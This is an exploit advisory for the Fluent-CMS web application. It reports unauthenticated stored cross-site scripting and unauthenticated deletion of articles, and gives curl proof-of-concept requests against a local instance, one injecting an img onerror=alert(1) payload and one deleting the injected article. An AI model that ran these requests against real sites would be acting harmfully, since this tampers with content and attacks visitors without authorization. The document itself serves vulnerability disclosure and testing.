Fluent CMS Cross Site Scripting / Article Deletion

# Exploit Title: Fluent-CMS Unauthenticated Stored XSS & Article Deletion
    # Date: 2026-08-22
    # Exploit Author: Chokri Hammedi
    # Software: https://github.com/nexgen999/Fluent-CMS
    # Vendor: https://github.com/nexgen999
    # Version: Latest
    # Tested on: Linux
    #
    
    ---
    
    ## Description
    
    Fluent-CMS is vulnerable to multiple unauthenticated attacks:
    
    1. Unauthenticated Stored Cross-Site Scripting (XSS) - An attacker can
    inject malicious JavaScript into article content via the /api/articles
    endpoint without authentication. The payload executes when any user visits
    the main application.
    
    2. Unauthenticated Article Deletion - An attacker can delete any article
    without authentication using the DELETE method on /api/articles/{id}.
    
    ---
    
    ## Vulnerability Details
    
    **Vulnerable Endpoint:**
    ```
    POST /api/articles
    ```
    
    **Issue:**
    - No authentication required for article creation
    - No input sanitization on article content
    - Content is rendered directly in the React frontend
    
    ---
    
    ## Proof of Concept
    
    ### Step 1: Inject XSS Payload
    
    
    curl -i \
      -H 'Content-Type: application/json' \
      --data-binary '{"id":"xss_poc_local","title":"Local XSS
    Canary","content":"<p>local-only</p><img src=x
    onerror=alert(1)>","category":"news","date":"2026-08-22T00:00:00.000Z","tags":[]}'
    \
      http://127.0.0.1:3000/api/articles
    
    Response:
    
    HTTP/1.1 200 OK
    {"success":true,"id":"xss_poc_local"}
    
    ### Step 2: Trigger XSS
    
    Visit `http://127.0.0.1:3000/` in a browser.
    
    The alert box will pop up, confirming the XSS.
    
    ---
    
    Step 3: Delete the Article
    
    
    curl -i -X DELETE \
      http://127.0.0.1:3000/api/articles/xss_poc_local
    
    Response:
    
    HTTP/1.1 200 OK
    {"success":true}